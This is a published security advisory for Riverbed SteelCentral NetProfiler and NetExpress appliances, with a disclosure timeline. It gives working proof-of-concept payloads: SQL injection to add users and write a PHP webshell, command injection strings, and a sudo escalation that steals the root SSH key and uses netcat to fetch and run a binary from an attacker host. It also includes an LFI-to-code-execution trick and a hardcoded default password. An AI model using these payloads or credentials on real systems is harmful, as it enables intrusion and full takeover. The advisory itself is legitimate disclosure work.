( , ) (, . '.' ) ('. ', ). , ('. ( ) ( (_,) .'), ) _ _, / _____/ / _ \ ____ ____ _____ \____ \==/ /_\ \ _/ ___\/ _ \ / \ / \/ | \\ \__( <_> ) Y Y \ /______ /\___|__ / \___ >____/|__|_| / \/ \/.-. \/ \/:wq (x.0) '=.|w|.=' _=''"''=. presents.. Riverbed SteelCentral NetProfiler & NetExpress Multiple Vulnerabilities Affected versions: SteelCentral NetProfiler <= 10.8.7 & SteelCentral NetExpress <= 10.8.7 PDF: http://www.security-assessment.com/files/documents/advisory/Riverbed-SteelCentral-NetProfilerNetExpress-Advisory.pdf +-----------+ |Description| +-----------+ The Riverbed SteelCentral NetProfiler and NetExpress virtual appliances, which share the same code base, are affected by multiple security vulnerabilities, including authentication bypass, SQL injection, arbitrary code execution via command injection, privilege escalation, local file inclusion, account hijacking and hardcoded default credentials. Details for other low severity vulnerabilities (i.e. cross-site scripting) are available in the accompanying PDF. +------------+ |Exploitation| +------------+ ==SQL Injection== The ?username? POST parameter in the login method of the common REST API is vulnerable to SQL injection via stacked queries. An attacker can exploit this vulnerability to add a user account in the application?s PostgreSQL database and successfully bypass authentication. The exploitation of this vulnerability can also be replicated from the main web GUI login functionality as login calls are routed to the same common REST API web service. The proof-of-concept request below shows how to exploit the SQL injection vulnerability to add a malicious user account into the ?users? table of the application database. Since quote characters can't be used as part of the injection payload, an attacker needs to use string concatenation to insert the field values (i.e. 'user' => CHR(117)||CHR(115)||CHR(101)||CHR(114)). [POC SQL INJECTION - INSERT USER] Method => POST URL => /api/common/1.0/login Content-type => application/json Payload => { "username": "test%';INSERT INTO users (username, password, uid) VALUES (<user>, <SHA512 hash>, <random id>);--", "password": "" } Additional SQL Injection vulnerabilities exist in the application?s web interface and can be exploited after authentication. Method => GET URL => /popup.php?page=export_report Parameter => report_id POC Payload => 1';SELECT PG_SLEEP(5)-- Method => GET URL => /popup.php?page=algorithm_settings Parameter => id POC Payload => 1';SELECT PG_SLEEP(5)-- Method => POST URL => /index.php?page=port_config Parameter => PortsSelectControl/ports_config/port_names POC Payload => ') AND 9625=(SELECT 9625 FROM PG_SLEEP(5)) AND ('Pdyu'='Pdyu Method => POST URL => /index.php?page=port_config Parameter => PortsSelectControl/ports_config/port_numbers POC Payload => 1-100) AND 5045=(SELECT 5045 FROM PG_SLEEP(5)) AND (2272=2272 Method => POST URL => /index.php?page=port_config Parameter => PortsSelectControl/ports_config/port_proto POC Payload => ');SELECT PG_SLEEP(5)-- All the SQL injections above can be trivially exploited to write malicious PHP code into a directory under the application web root folder, such as one used for file uploads, and obtain arbitrary code execution. [POC SQL INJECTION - WRITE WEBSHELL] GET /popup.php?page=export_report&report_id=1';COPY+(SELECT+CHR(60)||CHR(63)||CHR(112) ||CHR(104)||CHR(112)||CHR(32)||CHR(101)||CHR(99)||CHR(104)||CHR(111)||CHR(32)||CHR(115) ||CHR(121)||CHR(115)||CHR(116)||CHR(101)||CHR(109)||CHR(40)||CHR(36)||CHR(95)||CHR(71) ||CHR(69)||CHR(84)||CHR(91)||CHR(34)||CHR(99)||CHR(109)||CHR(100)||CHR(34)||CHR(93) ||CHR(41)||CHR(59)||CHR(32)||CHR(63)||CHR(62))+TO+$$/usr/mazu/www/tmp/imports/shell.php$$;-- &export_type=3 ==Command Injection== Multiple command injection vulnerabilities exist in the appliances? web interfaces due to unsanitized user-supplied input passed as argument to shell functions. An attacker can exploit these vulnerabilities to inject shell commands and obtain arbitrary code execution. URL => GET /popup.php?page=test_connection&device=<PAYLOAD>&type=switch Parameter => device POC Payload => 1; touch /tmp/FILE; URL => POST /index.php?page=licenses Body => xjxfun=get_request_key&xjxr=<value>&xjxargs[]=<PAYLOAD> Parameter => xjxargs[] POC Payload => LICENSE-TOKEN; id; Notes => Token Request functionality in 'Licenses' page URL => GET /popup.php?page=packet_export&query=<PAYLOAD> Parameter => query POC Payload => 1; touch /tmp/MYFILE; URL => POST /index.php?page=network_config Body => <configuration params>&Setup/setup/network_hostname=<PAYLOAD> Parameter => Setup/setup/network_hostname POC Payload => 1; touch /tmp/MYFILE; Notes => 'Configure now' functionality, injection occurs after appliance reboots. URL => POST /index.php?page=product_info Body => xjxfun=delete_collect&&xjxr=<value>&xjxargs[]=<PAYLOAD> Parameter => xjxargs[] POC Payload => 1; touch /tmp/MYFILE; Notes => 'Delete collected entry' functionality ==Privilege Escalation== An insecure configuration of the /etc/sudoers file allows privilege escalation to root. The ?apache? user is allowed to run multiple scripts under the /usr/mazu/bin directory without being prompted for a password, including the following sudoers entry: /usr/mazu/bin/mazu-run /usr/bin/sudo /bin/date* The ?mazu-run? script can be used to invoke the /bin/date binary in the context of the built-in ?mazu? user. An attacker can abuse the mazu-run script to run the /bin/date binary with the ?f flag against a sensitive file such as the root private SSH key. The ??f? option instructs the ?date? binary to parse the file specified as a DATEFILE. By default, the command ?date? will echo back an error message with the contents of the specified file when this does not comply with a valid DATEFILE format. This technique can be exploited to get the root SSH private RSA key and write it into the appliance filesystem using output redirection. An attacker can then establish a SSH connection to the target system by using the dumped private key to authenticate as root and spawn a root reverse shell. The POC payload below shows how to exploit the vulnerability. [POC PRIVILEGE ESCALATION] sudo -u mazu /usr/mazu/bin/mazu-run /usr/bin/sudo /bin/date -f /opt/cascade/vault/ssh/root/id_rsa | cut -d ' ' -f 4- | tr -d '`' | tr -d "'" > /tmp/root_ssh_privatekey; chmod 600 /tmp/root_ssh_privatekey; ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i /tmp/root_ssh_privatekey root@localhost 'nc -n [attacker ip] 4444 > /tmp/shell.elf; chmod 755 /tmp/shell.elf; /tmp/shell.elf'; ==Local File Inclusion== A local file inclusion vulnerability exists in the ?sensor/ta_loader.php? file due to a lack of input sanization for the GET parameter ?class?. This allows an attacker to read or include arbitrary files. As a practical exploitation scenario, an attacker can obtain arbitrary code execution through the LFI vulnerability by first using the ?Edit /etc/hosts? functionality available under ?/index.php?page=network_config? to create a fake host entry (e.g. '192.1.2.3 <?php echo system($_GET["cmd"]); ?>' ) and write malicious PHP code on the appliance filesystem, then include the /etc/hosts file and execute arbitrary shell commands. [POC LFI] curl https://<host>/sensor/ta_loader.php?cmd=<COMMAND>&class=/etc/hosts ==Account Hijacking== The password change functionality under the ?/index.php?page=security_compliance? page is vulnerable to a logic bug which allows account hijacking via arbitrary password reset. Although the functionality prompts for the current account password before allowing the user to set a new password, the hashed credentials of all the system accounts on the SteelCentral NetProfiler and NetExpress appliances are disclosed within the ?accountscredentialsid? hidden parameter in the page source code. The contents of the parameter are the base64-encoded representation of a serialized PHP object containing the credentials data. This not only openly discloses the contents of the /etc/shadow file, but can be also abused to carry out arbitrary password resets since the current password verification is carried out on client-side against the ?oldpassword? field value within the serialized string. An attacker can first generate a valid SHA-512 hash for an arbitrary current password value along with computing the hash length. Then the password change HTTP request can be intercepted to decode the base64-encoded serialized object and modify the ?oldpassword? hash value and its length for the target system account to hijack with the generated SHA-512 hash of the chosen current password value. The malicious string can now be base64 encoded back and used to replace the original request string. After clicking the ?Configure Now? button the application will validate the current password value provided through the web interface against the injected hash value, successfully setting the new password to the arbitrary value chosen by the attacker. ==Hardcoded default credentials== Multiple system accounts are configured on every deployment of the SteelCentral NetProfiler and NetExpress virtual appliances with the same hardcoded default credentials publicly available on the web. Users => mazu, dhcp, root Password => bb!nmp4y The default ?mazu? user sudo configuration allows the execution of all shell commands as root without being prompted for a password. The user 'mazu' is the only privileged user account having remote SSH access to the SteelCentral NetProfiler and NetExpress appliances (root SSH access is restricted to localhost only). However, the application does not enforce a password change for the built-in 'mazu' user during configuration time or after the first login. These insecure settings can be exploited as a remote backdoor to gain a privileged SSH shell to the target system. +----------+ | Solution | +----------+ Upgrade Riverbed SteelCentral Netprofiler/NetExpress to version 10.9.0. At the time of this writing, although the account hijacking vulnerability has been resolved, the contents of the /etc/shadow file are still disclosed in the hidden parameter ?originalsettingsid? when browsing to ?/index.php?page=security_compliance?. +------------+ | Timeline | +------------+ 24/03/2016 ? Initial disclosure to Riverbed. 25/03/2016 ? Vendor confirms receipt of advisory. 18/04/2016 ? Sent follow up email asking for a status update 19/04/2016 ? Vendor replies engineering team is working on software patches. 13/06/2016 ? Vendor releases patched software build. 27/06/2016 ? Public Disclosure +------------+ | Additional | +------------+ http://www.security-assessment.com/files/documents/advisory/Riverbed-SteelCentral-NetProfilerNetExpress-Advisory.pdf